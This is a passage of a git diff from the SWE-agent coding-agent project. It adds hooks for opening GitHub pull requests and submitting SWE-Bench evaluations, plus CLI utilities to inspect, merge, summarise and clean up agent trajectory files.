self.logger = get_logger("swea-open_pr", emoji="⚡️") + self._config = config + + def on_init(self, *, run): + self._env = run.env + self._token: str = os.getenv("GITHUB_TOKEN", "") + self._problem_statement = run.problem_statement + + def on_instance_completed(self, result: AgentRunResult): + if self.should_open_pr(result): + open_pr( + logger=self.logger, + token=self._token, + env=self._env, + github_url=self._problem_statement.github_url, + trajectory=result.trajectory, + ) + + def should_open_pr(self, result: AgentRunResult) -> bool: + """Does opening a PR make sense?""" + if not result.info.get("submission"): + self.logger.info("Not opening PR because no submission was made.") + return False + if result.info.get("exit_status") != "submitted": + self.logger.info( + "Not opening PR because exit status was %s and not submitted.", result.info.get("exit_status") + ) + return False + try: + issue = _get_gh_issue_data(self._problem_statement.github_url, token=self._token) + except InvalidGithubURL: + self.logger.info("Currently only GitHub is supported to open PRs to. Skipping PR creation.") + return False + if issue.state != "open": + self.logger.info(f"Issue is not open (state={issue.state}. Skipping PR creation.") + return False + if issue.assignee: + self.logger.info("Issue is already assigned. Skipping PR creation. Be nice :)") + return False + if issue.locked: + self.logger.info("Issue is locked. Skipping PR creation.") + return False + org, repo, issue_number = _parse_gh_issue_url(self._problem_statement.github_url) + associated_commits = _get_associated_commit_urls(org, repo, issue_number, token=self._token) + if associated_commits: + commit_url_strs = ", ".join(associated_commits) + if self._config.skip_if_commits_reference_issue: + self.logger.info(f"Issue already has associated commits (see {commit_url_strs}). Skipping PR creation.") + return False + else: + self.logger.warning( + "Proceeding with PR creation even though there are already commits " + f"({commit_url_strs}) associated with the issue. Please only do this for your own repositories " + "or after verifying that the existing commits do not fix the issue.", + ) + return True + + +def _remove_triple_backticks(text: str) -> str: + return "\n".join(line.removeprefix("```") for line in text.splitlines()) + + +def format_trajectory_markdown(trajectory: list[dict[str, str]], char_limit: int | None = None): + """Format a trajectory as a markdown string for use in gh PR description. + + Args: + char_limit: If not None, truncate the trajectory to this many characters. + """ + prefix = [ + "
    ", + "Thought process ('trajectory') of SWE-agent (click to expand)", + "", + "", + ] + prefix_text = "\n".join(prefix) + suffix = [ + "", + "
    ", + ] + suffix_text = "\n".join(suffix) + + steps = [] + current_length = len(prefix_text) + len(suffix_text) + + for i, step in enumerate(trajectory): + step_strs = [ + f"**🧑‍🚒 Response ({i})**: ", + f"{step['response'].strip()}", + f"**👀‍ Observation ({i})**:", + "```", + f"{_remove_triple_backticks(step['observation']).strip()}", + "```", + ] + step_text = "\n".join(step_strs) + + # Calculate separator length (only needed for steps after the first one) + separator_length = 0 + if steps: + separator_length = len("\n\n---\n\n") + + # Check if adding this step would exceed the character limit + if char_limit is not None and current_length + separator_length + len(step_text) > char_limit: + if i > 0: + steps.append("\n\n... (truncated due to length limit)") + break + + if steps: + steps.append("\n\n---\n\n") + current_length += separator_length + + steps.append(step_text) + current_length += len(step_text) + + return prefix_text + "".join(steps) + suffix_text diff --git a/sweagent/run/hooks/swe_bench_evaluate.py b/sweagent/run/hooks/swe_bench_evaluate.py new file mode 100644 index 0000000..09498d9 --- /dev/null +++ b/sweagent/run/hooks/swe_bench_evaluate.py @@ -0,0 +1,113 @@ +"""SweBench evaluation hook. + +Will be automatically added to `run_batch` if `SWEBenchInstances.evaluate` is set to true +""" + +import subprocess +import sys +from datetime import datetime +from pathlib import Path +from threading import Lock +from time import time + +from sweagent.run.hooks.abstract import RunHook +from sweagent.run.merge_predictions import merge_predictions +from sweagent.types import AgentRunResult +from sweagent.utils.log import get_logger + + +class SweBenchEvaluate(RunHook): + _SUBSET_MAP = {"lite": "swe-bench_lite", "verified": "swe-bench_verified", "multimodal": "swe-bench_multimodal"} + + def __init__(self, output_dir: Path, subset: str, split: str, continuous_submission_every: int = 0) -> None: + super().__init__() + self.output_dir = output_dir + self.subset = subset + self.split = split + self.continuous_submission_every = continuous_submission_every + self.logger = get_logger("SB-evaluate", emoji="😬") + self.merge_lock = Lock() + self.last_evaluation_time = time() + self.evaluation_interval = continuous_submission_every + self._running_calls = [] + # We need to add a suffix to the run_id to avoid collisions when you reuse the name of your run + self._time_suffix = datetime.now().strftime("%Y%m%d%H%M%S%f") + + @property + def run_id(self) -> str: + return f"{self.output_dir.name}_{self._time_suffix}" + + def _get_sb_call(self, preds_path: Path, submit_only: bool = False) -> list[str]: + args = [ + "sb-cli", + "submit", + self._SUBSET_MAP[self.subset], + self.split, + "--predictions_path", + str(preds_path), + "--run_id", + self.run_id, + "--output_dir", + str(self.output_dir / "sb-cli-reports"), + ] + if submit_only: + args.extend(["--wait_for_evaluation", "0", "--gen_report", "0", "--verify_submission", "0"]) + return args + + def check_running_calls(self) -> None: + """Warn if one of the running calls failed.""" + for call in self._running_calls: + if call.poll() is not None: + if call.returncode != 0: + self.logger.error("Failed to submit results to SweBench eval: %s", call.stderr.read()) + self._running_calls.remove(call) + + def on_instance_completed(self, *, result: AgentRunResult): + if self.evaluation_interval == 0: + return + + current_time = time() + if current_time - self.last_evaluation_time < self.evaluation_interval: + return + + with self.merge_lock: + merge_predictions([self.output_dir], self.output_dir / "tmppreds.json") + self.last_evaluation_time = current_time + + self._running_calls.append( + subprocess.Popen( + self._get_sb_call(preds_path=self.output_dir / "tmppreds.json", submit_only=True), + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + ) + ) + + def move_sb_cli_report(self) -> None: + """Move report from `sb-cli-reports` to `results.json`.""" + output_dir = self.output_dir / "sb-cli-reports" + if not output_dir.exists(): + self.logger.warning("No SweBench report found at %s", output_dir) + return + (self.output_dir / "results.json").unlink(missing_ok=True) + reports = list(output_dir.glob("*.json")) + if len(reports) != 1: + self.logger.warning("Expected 1 SweBench report at %s, found %d. Cannot rename.", output_dir, len(reports)) + return + reports[0].rename(self.output_dir / "results.json") + + def on_end(self) -> None: + self.logger.info("Submitting results to SWE-Bench") + try: + subprocess.run( + self._get_sb_call(preds_path=self.output_dir / "preds.json"), + check=True, + stdout=sys.stdout, + stderr=sys.stderr, + ) + except subprocess.CalledProcessError as e: + self.logger.error("Failed to submit results to SweBench eval: %s", e) + else: + # remove temporary predictions if they exist + if (self.output_dir / "tmppreds.json").exists(): + (self.output_dir / "tmppreds.json").unlink() + self.move_sb_cli_report() diff --git a/sweagent/run/inspector_cli.py b/sweagent/run/inspector_cli.py new file mode 100644 index 0000000..46e6900 --- /dev/null +++ b/sweagent/run/inspector_cli.py @@ -0,0 +1,493 @@ +"""This is a command line tool to inspect trajectory JSON files.""" + +import argparse +import collections +import copy +import json +import os +import subprocess +from concurrent.futures import ThreadPoolExecutor +from pathlib import Path + +from rich.syntax import Syntax +from textual.app import App, ComposeResult +from textual.binding import Binding +from textual.containers import Container, Vertical, VerticalScroll +from textual.screen import ModalScreen +from textual.widgets import Footer, Header, Input, ListItem, ListView, Static + +from sweagent.utils.files import load_file +from sweagent.utils.serialization import _yaml_serialization_with_linebreaks + + +def _move_items_top(d: dict, keys: list[str]) -> dict: + """Reorder items in a dictionary. + + The first keys will be those specified in `keys`, the rest will + be in the same order as in the original dictionary. + """ + new_d = {} + for key in keys: + if key in d: + new_d[key] = d[key] + for key in d.keys(): + if key not in keys: + new_d[key] = d[key] + return new_d + + +class TrajectoryViewer(Static): + BINDINGS = [ + Binding("right,l", "next_item", "Step++"), + Binding("left,h", "previous_item", "Step--"), + Binding("0", "first_item", "Step=0"), + Binding("$", "last_item", "Step=-1"), + Binding("v", "toggle_view", "Toggle view"), + Binding("j,down", "scroll_down", "Scroll down"), + Binding("k,up", "scroll_up", "Scroll up"), + ] + + def __init__(self, path: Path, title: str, overview_stats: dict, *, gold_patch: str | None = None): + """View a single trajectory.""" + super().__init__() + self.i_step = -1 + self.trajectory = json.loads(path.read_text()) + self.show_full = False + self.title = title + self.overview_stats = overview_stats + self.gold_patch = gold_patch + + def load_trajectory(self, path: Path, title: str, overview_stats: dict, *, gold_patch: str | None = None): + """Load a new trajectory and update the viewer.""" + print("Loading", path) + self.trajectory = json.loads(path.read_text()) + self.title = title + self.gold_patch = gold_patch + self.overview_stats = overview_stats + self.scroll_top() + self.i_step = -1 + self.update_content() + + def compose(self) -> ComposeResult: + with VerticalScroll(): + yield Static(id="content", markup=False) + + def on_mount(self) -> None: + self.update_content() + + @property + def n_steps(self) -> int: + return len(self.trajectory["trajectory"]) + + def _show_step_yaml(self, item: dict) -> None: + """Show full yaml of trajectory item""" + content_str = _yaml_serialization_with_linebreaks( + _move_items_top(item, ["thought", "action", "observation", "response", "execution_time"]) + ) + syntax = Syntax(content_str, "yaml", theme="monokai", word_wrap=True) + content = self.query_one("#content") + content.update(syntax) # type: ignore + self.app.sub_title = f"{self.title} - Step {self.i_step + 1}/{self.n_steps} - Full View" + + def _show_step_simple(self, item: dict) -> None: + # Simplified view - show action and observation as plain text + thought = item.get("thought", "") + action = item.get("action", "") + observation = item.get("observation", "") + + content_str = f"THOUGHT:\n{thought}\n\nACTION:\n{action}\n\nOBSERVATION:\n{observation}" + content = self.query_one("#content") + content.update(content_str) # type: ignore + + self.app.sub_title = f"{self.title} - Step {self.i_step + 1}/{self.n_steps} - Simple View" + + def _show_info(self): + info = copy.deepcopy(self.trajectory["info"]) + info["result"] = self.overview_stats["result"] + info["gold_patch"] = self.gold_patch + info = _move_items_top(info, ["result", "exit_status", "model_stats", "submission", "gold_patch"]) + syntax = Syntax(_yaml_serialization_with_linebreaks(info), "yaml", theme="monokai", word_wrap=True) + content = self.query_one("#content") + content.update(syntax) # type: ignore + next_help = "Press l to see step 1" if self.i_step < 0 else f"Press h to see step {self.n_steps}" + self.app.sub_title = f"{self.title} - Info ({next_help})" + + def update_content(self) -> None: + print(self.i_step) + if self.i_step < 0 or self.i_step >= self.n_steps: + return self._show_info() + + item = self.trajectory["trajectory"][self.i_step] + + if self.show_full: + return self._show_step_yaml(item) + + return self._show_step_simple(item) + + def action_next_item(self) -> None: + if self.i_step < self.n_steps: + self.i_step += 1 + self.scroll_top() + self.update_content() + + def action_previous_item(self) -> None: + if self.i_step > -1: + self.i_step -= 1 + self.scroll_top() + self.update_content() + + def action_toggle_view(self) -> None: + self.show_full = not self.show_full + self.update_content() + + def action_first_item(self) -> None: + self.i_step = 0 + self.update_content() + + def action_last_item(self) -> None: + self.i_step = self.n_steps - 1 + self.update_content() + + def scroll_top(self) -> None: + """Resets scrolling viewport""" + vs = self.query_one(VerticalScroll) + vs.scroll_home(animate=False) + + def action_scroll_down(self) -> None: + vs = self.query_one(VerticalScroll) + vs.scroll_to(y=vs.scroll_target_y + 15) + + def action_scroll_up(self) -> None: + vs = self.query_one(VerticalScroll) + vs.scroll_to(y=vs.scroll_target_y - 15) + + +class TrajectorySelectorScreen(ModalScreen[int]): + BINDINGS = [ + Binding("escape", "dismiss(None)", "Cancel"), + ] + + def __init__(self, paths: list[Path], current_index: int, overview_stats: dict): + super().__init__() + self.paths = paths + self.current_index = current_index + self.overview_stats = overview_stats + self.all_items = [] # Store all items for filtering + self.filtered_indices = [] + + def _get_list_item_texts(self, paths: list[Path]) -> list[str]: + """Remove the common prefix from a list of paths.""" + prefix = os.path.commonpath([str(p) for p in paths]) + labels = [] + for p in paths: + ostat = self.overview_stats[p.stem] + ostat_str = f"{ostat['exit_status']} {ostat['result']} ${ostat['cost']:.2f} {ostat['api_calls']} calls" + shortened_path = str(p)[len(prefix) :].lstrip("/\\") + if Path(shortened_path).stem == Path(shortened_path).parent.name: + # We have the instance ID twice (in the folder and the traj) + shortened_path = Path(shortened_path).stem + labels.append(f"{shortened_path} - {ostat_str}") + + return labels + + def compose(self) -> ComposeResult: + with Vertical(id="dialog"): + yield Static( + "Press to switch between search and list. Use / to select.", + id="title", + markup=False, + ) + yield Input(placeholder="Type to filter (auto-select if only one item remains)...", id="filter-input") + yield ListView( + *[ListItem(Static(p, markup=False)) for p in self._get_list_item_texts(self.paths)], + id="trajectory-list", + initial_index=self.current_index, + ) + # Store all items for later filtering + self.all_items = self._get_list_item_texts(self.paths) + self.filtered_indices = list(range(len(self.all_items))) + + def on_input_changed(self, event: Input.Changed) -> None: + """Filter list items based on input""" + filter_text = event.value.lower() + list_view = self.query_one("#trajectory-list", ListView) + + # Filter items and keep track of original indices + self.filtered_indices = [i for i, item in enumerate(self.all_items) if filter_text in item.lower()] + filtered_items = [self.all_items[i] for i in self.filtered_indices] + + if len(filtered_items) == 1: + # Find the index of the filtered item in the original list + selected_index = self.all_items.index(filtered_items[0]) + self.dismiss(selected_index) + return + + # Update ListView with filtered items + list_view.clear() + for item in filtered_items: + list_view.append(ListItem(Static(item, markup=False))) + + def on_list_view_selected(self, event: ListView.Selected) -> None: + # Map the filtered index back to the original index + original_index = self.filtered_indices[event.list_view.index] + print(f"Selected index: {original_index}") + self.dismiss(original_index) + + CSS = """ + #dialog { + background: $surface; + padding: 1; + border: thick $primary; + width: 100%; + height: 100%; + } + + #title { + text-align: center; + padding: 1; + } + + #filter-input { + dock: top; + margin: 1 0; + } + + ListView { + height: 100%; + border: solid $primary; + } + + ListItem { + padding: 0 1; + } + + ListItem:hover { + background: $accent; + } + """ + + +class FileViewerScreen(ModalScreen): + BINDINGS = [ + Binding("q,escape", "dismiss", "Back"), + Binding("j,down", "scroll_down", "Scroll down"), + Binding("k,up", "scroll_up", "Scroll up"), + Binding("e", "open_editor", "Open in $EDITOR"), + ] + + def __init__(self, path: Path): + super().__init__() + self.path = path + + def compose(self) -> ComposeResult: + with VerticalScroll(): + text = self.path.read_text() + truncated = False + if len(text) > 10_000: + # More than ~1000 lines + self.app.notify( + "File is too large to display. Showing first 10k chars. Use e to open in editor.", + severity="warning", + ) + text = text[:10_000] + truncated = True + if self.path.exists(): + if self.path.suffix == ".traj" and not truncated: + # Syntax highlighting breaks if we truncate + content_str = _yaml_serialization_with_linebreaks(json.loads(text)) + syntax = Syntax(content_str, "yaml", theme="monokai", word_wrap=True) + yield Static(syntax, markup=False) + else: + yield Static(text, markup=False) + else: + yield Static(f"No file found at {self.path}", markup=False) + + def action_scroll_down(self) -> None: + vs = self.query_one(VerticalScroll) + vs.scroll_to(y=vs.scroll_target_y + 15) + + def action_scroll_up(self) -> None: + vs = self.query_one(VerticalScroll) + vs.scroll_to(y=vs.scroll_target_y - 15) + + async def action_open_editor(self) -> None: + editor = os.environ.get("EDITOR") + if not editor: + self.app.notify("No editor found in $EDITOR environment variable, cannot perform action", severity="error") + return + try: + # Suspend the TUI app to restore terminal state before launching editor + with self.app.suspend(): + subprocess.run([editor, str(self.path)], check=True) + except subprocess.CalledProcessError: + pass + + CSS = """ + ScrollableContainer { + width: 100%; + height: 100%; + background: $surface; + padding: 1; + border: thick $primary; + } + """ + + +class TrajectoryInspectorApp(App): + BINDINGS = [ + Binding("q", "quit", "Quit"), + Binding("L", "next_traj", "Traj++"), + Binding("H", "previous_traj", "Traj--"), + Binding("t", "show_traj_selector", "Select Traj"), + Binding("o", "show_log", "View Log"), + Binding("r", "show_full", "Show full"), + ] + + CSS = """ + Screen { + layout: grid; + grid-size: 1; + } + + #viewer { + width: 100%; + height: 100%; + } + + ScrollView { + width: 100%; + height: 100%; + border: solid green; + } + """ + + def __init__(self, input_path: str | Path, data_path: Path | None = None): + super().__init__() + self.input_path = Path(input_path) + if not self.input_path.exists(): + msg = f"{self.input_path} doesn't exist" + raise FileNotFoundError(msg) + self.available_traj_paths = self._get_available_trajs() + if not self.available_traj_paths: + msg = "No trajectory *.traj files available" + raise ValueError(msg) + self.trajectory_index = 0 + self.overview_stats = collections.defaultdict(dict) + self._build_overview_stats() + self._data = load_file(data_path) + + def get_gold_patch(self, instance_id: str) -> str | None: + if self._data is None: + return None + return self._data.get(instance_id, {}).get("patch", None) + + def _build_overview_stats(self): + results_path = self.input_path / "results.json" + results = None + if results_path.exists(): + results = json.loads(results_path.read_text()) + for traj in self.available_traj_paths: + instance_id = traj.stem + if results is None: + result = "❓" + elif instance_id in results["resolved_ids"]: + result = "✅" + else: + result = "❌" + self.overview_stats[instance_id]["result"] = result + + def _get_info(traj: Path) -> tuple[str, dict]: + traj_info = json.loads(traj.read_text()).get("info", {}) + return traj.stem, traj_info + + with ThreadPoolExecutor() as executor: + # Map returns results in the same order as inputs + all_infos = executor.map(_get_info, self.available_traj_paths) + + for instance_id, info in all_infos: + self.overview_stats[instance_id]["info"] = info + self.overview_stats[instance_id]["exit_status"] = info.get("exit_status", "?") + self.overview_stats[instance_id]["api_calls"] = info.get("model_stats", {}).get("api_calls", 0) + self.overview_stats[instance_id]["cost"] = info.get("model_stats", {}).get("instance_cost", 0) + + def _get_viewer_title(self, index: int) -> str: + instance_id = self.available_traj_paths[index].stem + if len(instance_id) > 20: + instance_id = "..." + instance_id[-17:] + return f"Traj {index + 1}/{len(self.available_traj_paths)} - {instance_id}" + + def _load_traj(self): + instance_id = self.available_traj_paths[self.trajectory_index].stem + traj_viewer = self.query_one(TrajectoryViewer) + traj_viewer.load_trajectory( + self.available_traj_paths[self.trajectory_index], + self._get_viewer_title(self.trajectory_index), + self.overview_stats[instance_id], + gold_patch=self.get_gold_patch(instance_id), + ) + + def _get_available_trajs(self) -> list[Path]: + if self.input_path.is_file(): + return [self.input_path] + elif self.input_path.is_dir(): + return sorted(self.input_path.rglob("*.traj")) + raise ValueError + + def compose(self) -> ComposeResult: + yield Header() + with Container(): + yield TrajectoryViewer( + self.available_traj_paths[self.trajectory_index], + self._get_viewer_title(self.trajectory_index), + self.overview_stats[self.available_traj_paths[self.trajectory_index].stem], + ) + yield Footer() + + def action_next_traj(self): + self.trajectory_index = (self.trajectory_index + 1) % len(self.available_traj_paths) + self._load_traj() + + def action_previous_traj(self): + self.trajectory_index = (self.trajectory_index - 1) % len(self.available_traj_paths) + self._load_traj() + + async def action_show_traj_selector(self) -> None: + selector = TrajectorySelectorScreen(self.available_traj_paths, self.trajectory_index, self.overview_stats) + + def handler(index: int | None): + if index is not None: + self.trajectory_index = index + self._load_traj() + + await self.push_screen(selector, handler) # This returns when the modal is dismissed + + async def action_show_log(self) -> None: + current_traj = self.available_traj_paths[self.trajectory_index] + log_path = current_traj.with_suffix(".debug.log") + log_viewer = FileViewerScreen(log_path) + await self.push_screen(log_viewer) + + async def action_show_full(self) -> None: + """Show full yaml of trajectory file""" + current_traj = self.available_traj_paths[self.trajectory_index] + viewer = FileViewerScreen(current_traj) + await self.push_screen(viewer) + + +def main(args: list[str] | None = None): + parser = argparse.ArgumentParser(description="Inspect trajectory JSON files") + parser.add_argument( + "trajectory_path", + help="Path to the trajectory JSON file or directory containing trajectories", + default=os.getcwd(), + nargs="?", + ) + parser.add_argument("-d", "--data_path", type=Path, help="Path to the data file to load gold patches from") + parsed_args = parser.parse_args(args) + + app = TrajectoryInspectorApp(parsed_args.trajectory_path) + app.run() + + +if __name__ == "__main__": + main() diff --git a/sweagent/run/merge_predictions.py b/sweagent/run/merge_predictions.py new file mode 100644 index 0000000..a28e287 --- /dev/null +++ b/sweagent/run/merge_predictions.py @@ -0,0 +1,64 @@ +import argparse +import json +from pathlib import Path + +from sweagent.utils.log import get_logger + +"""Merge multiple predictions into a single file.""" + + +logger = get_logger("merge", emoji="➕") + + +def merge_predictions(directories: list[Path], output: Path | None = None) -> None: + """Merge predictions found in `directories` into a single JSON file. + + Args: + directory: Directory containing predictions. + output: Output file. If not provided, the merged predictions will be + written to `directory/preds.json`. + """ + preds = [] + for directory in directories: + new = list(directory.rglob("*.pred")) + preds.extend(new) + logger.debug("Found %d predictions in %s", len(new), directory) + logger.info("Found %d predictions", len(preds)) + if not preds: + logger.warning("No predictions found in %s", directory) + return + if output is None: + output = directories[0] / "preds.json" + data = {} + for pred in preds: + _data = json.loads(pred.read_text()) + instance_id = _data["instance_id"] + if "model_patch" not in _data: + logger.warning("Prediction %s does not contain a model patch. SKIPPING", pred) + continue + # Ensure model_patch is a string + _data["model_patch"] = str(_data["model_patch"]) if _data["model_patch"] is not None else "" + if instance_id in data: + msg = f"Duplicate instance ID found: {instance_id}" + raise ValueError(msg) + data[instance_id] = _data + output.parent.mkdir(parents=True, exist_ok=True) + output.write_text(json.dumps(data, indent=4)) + logger.info("Wrote merged predictions to %s", output) + + +def get_cli_parser() -> argparse.ArgumentParser: + parser = argparse.ArgumentParser(description=__doc__) + parser.add_argument("directories", type=Path, help="Directory containing predictions", nargs="+") + parser.add_argument("--output", type=Path, help="Output file") + return parser + + +def run_from_cli(args: list[str] | None = None) -> None: + cli_parser = get_cli_parser() + cli_args = cli_parser.parse_args(args) + merge_predictions(cli_args.directories, cli_args.output) + + +if __name__ == "__main__": + run_from_cli() diff --git a/sweagent/run/quick_stats.py b/sweagent/run/quick_stats.py new file mode 100644 index 0000000..20192d3 --- /dev/null +++ b/sweagent/run/quick_stats.py @@ -0,0 +1,96 @@ +#!/usr/bin/env python3 +import argparse +import collections +import json +from pathlib import Path + +import numpy as np + +from sweagent.utils.log import get_logger + +"""Calculate statistics from .traj files.""" + +logger = get_logger("quick-stats", emoji="📊") + + +def quick_stats(directory: Path | str = ".") -> str: + """Calculate statistics from .traj files. + + Args: + directory: Directory to search for .traj files (default: current directory) + + Returns: + str: Summary of statistics + """ + directory = Path(directory) + # Find all .traj files + traj_files = list(directory.glob("**/*.traj")) + + if not traj_files: + logger.warning("No .traj files found in %s", directory) + return "No .traj files found." + + # Extract api_calls from each file + api_calls = [] + files_by_exit_status = collections.defaultdict(list) + + for file_path in traj_files: + try: + data = json.loads(file_path.read_text()) + # Extract the api_calls value using dictionary path + if "info" in data and "model_stats" in data["info"] and "api_calls" in data["info"]["model_stats"]: + api_calls.append(data["info"]["model_stats"]["api_calls"]) + if "info" in data and "exit_status" in data["info"]: + status = data["info"]["exit_status"] + files_by_exit_status[status].append(file_path) + except Exception as e: + logger.error("Error processing %s: %s", file_path, e) + + files_by_exit_status = dict(sorted(files_by_exit_status.items(), key=lambda x: len(x[1]), reverse=True)) + + if not api_calls: + logger.warning("No valid api_calls data found in the .traj files") + return "No valid api_calls data found in the .traj files." + + # Calculate and return the average + logger.info("Exit statuses:") + # Sort exit statuses by count (highest to lowest) + for status, files in files_by_exit_status.items(): + logger.info("%s: %d", status, len(files)) + + average_api_calls = np.mean(api_calls) + logger.info("Avg api calls: %s", average_api_calls) + + # Print exit statuses in the requested format + result = [] + for status, files in files_by_exit_status.items(): + result.append(f"\n## `{status}`\n") + # Extract unique subdirectories instead of full paths + subdirs = {str(Path(file_path).parent) for file_path in files} + result.append(" ".join(subdirs)) + + return "\n".join(result) + + +def get_cli_parser() -> argparse.ArgumentParser: + parser = argparse.ArgumentParser(description=__doc__) + parser.add_argument( + "directory", + type=Path, + nargs="?", + default=Path("."), + help="Directory to search for .traj files (default: current directory)", + ) + return parser + + +def run_from_cli(args: list[str] | None = None) -> None: + cli_parser = get_cli_parser() + cli_args = cli_parser.parse_args(args) + + result = quick_stats(cli_args.directory) + print(result) + + +if __name__ == "__main__": + run_from_cli() diff --git a/sweagent/run/remove_unfinished.py b/sweagent/run/remove_unfinished.py new file mode 100644 index 0000000..00270fa --- /dev/null +++ b/sweagent/run/remove_unfinished.py @@ -0,0 +1,63 @@ +"""Remove unfinished trajectories.""" + +import argparse +import shutil +from pathlib import Path + +from sweagent.utils.files import load_file +from sweagent.utils.log import get_logger + +logger = get_logger("remove_unfinished") + + +def remove_unfinished(base_dir: Path, dry_run: bool = True) -> None: + """Remove unfinished trajectories.""" + to_remove = [] + for directory in base_dir.iterdir(): + if not directory.is_dir(): + continue + if "__" not in directory.name: + continue + trajs = list(directory.glob("*.traj")) + if not trajs: + logger.info("No trajectories found in %s", directory) + continue + if len(trajs) > 1: + logger.warning("Found multiple trajectories in %s. Skipping.", directory) + continue + try: + traj = load_file(trajs[0]) + except Exception as e: + logger.warning("Error loading trajectory %s: %s. Adding to remove list.", trajs[0], e) + to_remove.append(directory) + continue + submission = traj.get("info", {}).get("submission", None) + if submission is None: + logger.warning("No submission found in %s. Adding to remove list.", directory) + to_remove.append(directory) + continue + if dry_run: + logger.info("Would remove %d unfinished trajectories.", len(to_remove)) + for directory in to_remove: + logger.info(directory) + else: + for directory in to_remove: + logger.info("Removing %s", directory) + shutil.rmtree(directory) + + +def get_cli_parser() -> argparse.ArgumentParser: + parser = argparse.ArgumentParser(description=__doc__) + parser.add_argument("--base_dir", type=Path, help="Base directory", default=Path(".")) + parser.add_argument("--remove", action="store_true", help="Remove unfinished trajectories") + return parser + + +def run_from_cli(args: list[str] | None = None) -> None: + cli_parser = get_cli_parser() + cli_args = cli_parser.parse_args(args) + remove_unfinished(cli_args.base_dir, dry_run=not cli_args.remove) + + +if __name__ == "__main__": + run_from_cli() diff --git a/sweagent/run/rich_test.py b/sweagent/run/rich_test.py new file mode 100644 index 0000000..dc56d6a --- /dev/null +++ b/sweagent/run/rich_test.py @@ -0,0 +1,91 @@ +import logging +import time +from concurrent.futures import ThreadPoolExecutor +from random import random +from threading import Lock + +from rich.console import Group +from rich.live import Live +from rich.logging import RichHandler +from rich.progress import ( + BarColumn, + Progress, + SpinnerColumn, + TaskID, + TaskProgressColumn, + TextColumn, + TimeElapsedColumn, + TimeRemainingColumn, +) + +logging.basicConfig(level="NOTSET", handlers=[RichHandler(level="NOTSET")]) +logger = logging.getLogger("rich") + +# Lock for thread-safe progress updates +progress_lock = Lock() + + +class RunBatch: + def __init__(self): + self.tasks = list(range(10)) # Reduced to 10 tasks for example clarity + self._main_progress_bar: Progress | None = None + self._task_progress_bar: Progress | None = None + self._spinner_tasks: dict[TaskID, TaskID] = {} + + def do_task(self, task_id: TaskID): + assert self._main_progress_bar is not None + assert self._task_progress_bar is not None + + # Create a spinner for this task + with progress_lock: + spinner_task_id = self._task_progress_bar.add_task(f"Task {task_id}", total=None) + + logger.info("Starting task %d", task_id) + # Startup + time.sleep(random() * 4.5) + # Work + with progress_lock: + self._task_progress_bar.update(spinner_task_id, description=f"Task {task_id} (working)") + time.sleep(random() * 4.5 + 2) + logger.info("Finished task %d", task_id) + + # Remove spinner and update main progress + with progress_lock: + self._task_progress_bar.remove_task(spinner_task_id) + self._main_progress_bar.update(TaskID(0), advance=1) + + def main(self): + # Custom progress columns + self._main_progress_bar = Progress( + SpinnerColumn(), + TextColumn("[progress.description]{task.description}"), + BarColumn(), + TaskProgressColumn(), + TimeElapsedColumn(), + TimeRemainingColumn(), + ) + self._task_progress_bar = Progress( + SpinnerColumn(), + TextColumn("[progress.description]{task.description}"), + TimeElapsedColumn(), + ) + + group = Group(self._main_progress_bar, self._task_progress_bar) + + with Live(group): + # Add main progress bar + self._main_task_id = self._main_progress_bar.add_task("[cyan]Overall Progress", total=len(self.tasks)) + + # Create thread pool and run tasks + with ThreadPoolExecutor(max_workers=5) as executor: + # Submit all tasks + futures = [executor.submit(self.do_task, task_id) for task_id in self.tasks] + + # Wait for all tasks to complete + for future in futures: + future.result() + + +if __name__ == "__main__": + run_batch = RunBatch() + run_batch.main() diff --git a/sweagent/run/run.py b/sweagent/run/run.py new file mode 100644 index 0000000..e9952a9 --- /dev/null +++ b/sweagent/run/run.py @@ -0,0 +1,147 @@ +"""[cyan][bold]Main command line interface for SWE-agent.[/bold][/cyan] + +[cyan][bold]=== USAGE ===[/bold][/cyan] + +[green]sweagent [options][/green] + +Display usage instructions for a specific command: + +[green]sweagent [bold]--help[/bold][/green] + +[cyan][bold]=== SUBCOMMANDS TO RUN SWE-AGENT ===[/bold][/cyan] + +[bold][green]run[/green][/bold] or [bold][green]r[/green][/bold]: Run swe-agent on a single problem statement, for example a github issue. +[bold][green]run-batch[/green][/bold] or [bold][green]b[/green][/bold]: Run swe-agent on a batch of problem statements, e.g., on SWE-Bench. + +[cyan][bold]=== MISC SUBCOMMANDS ===[/bold][/cyan] + +[bold][green]merge-preds[/green][/bold]: Merge multiple prediction files into a single file. In most cases + [green]run-batch[/green] will already do this, but you can use this to merge predictions + from multiple directories. +[bold][green]inspect[/green][/bold] or [bold][green]i[/green][/bold]: Open a single trajectory file in a terminal-based viewer. +[bold][green]inspector[/green][/bold] or [bold][green]I[/green][/bold]: Open trajectories in a web-based viewer. +[bold][green]run-replay[/green][/bold]: Replay a trajectory file or a demo file. + This can be useful to fill in environment output when creating demonstrations. +[bold][green]traj-to-demo[/green][/bold]: Convert a trajectory file to an easy to edit demo file. +[bold][green]run-api[/green][/bold]: Run swe-agent as a backend for a GUI +[bold][green]remove-unfinished[/green][/bold] or [bold][green]ru[/green][/bold]: Remove unfinished trajectories +[bold][green]quick-stats[/green][/bold] or [bold][green]qs[/green][/bold]: Calculate quick stats from a directory of trajectories +""" + +import argparse +import sys + +import rich + + +def get_cli(): + parser = argparse.ArgumentParser(add_help=False) + parser.add_argument( + "command", + choices=[ + "run", + "run-batch", + "run-replay", + "traj-to-demo", + "run-api", + "merge-preds", + "inspect", + "inspector", + "r", + "b", + "i", + "I", + "extract-pred", + "compare-runs", + "cr", + "remove-unfinished", + "ru", + "quick-stats", + "qs", + "shell", + "sh", + ], + nargs="?", + ) + parser.add_argument("-h", "--help", action="store_true", help="Show this help message and exit") + return parser + + +def main(args: list[str] | None = None): + if args is None: + args = sys.argv[1:] + cli = get_cli() + parsed_args, remaining_args = cli.parse_known_args(args) # type: ignore + command = parsed_args.command + show_help = parsed_args.help + if show_help: + if not command: + # Show main help + rich.print(__doc__) + sys.exit(0) + else: + # Add to remaining_args + remaining_args.append("--help") + elif not command: + cli.print_help() + sys.exit(2) + # Defer imports to avoid unnecessary long loading times + if command in ["run", "r"]: + from sweagent.run.run_single import run_from_cli as run_single_main + + run_single_main(remaining_args) + elif command in ["run-batch", "b"]: + from sweagent.run.run_batch import run_from_cli as run_batch_main + + run_batch_main(remaining_args) + elif command == "run-replay": + from sweagent.run.run_replay import run_from_cli as run_replay_main + + run_replay_main(remaining_args) + elif command == "traj-to-demo": + from sweagent.run.run_traj_to_demo import run_from_cli as convert_traj_to_demo_main + 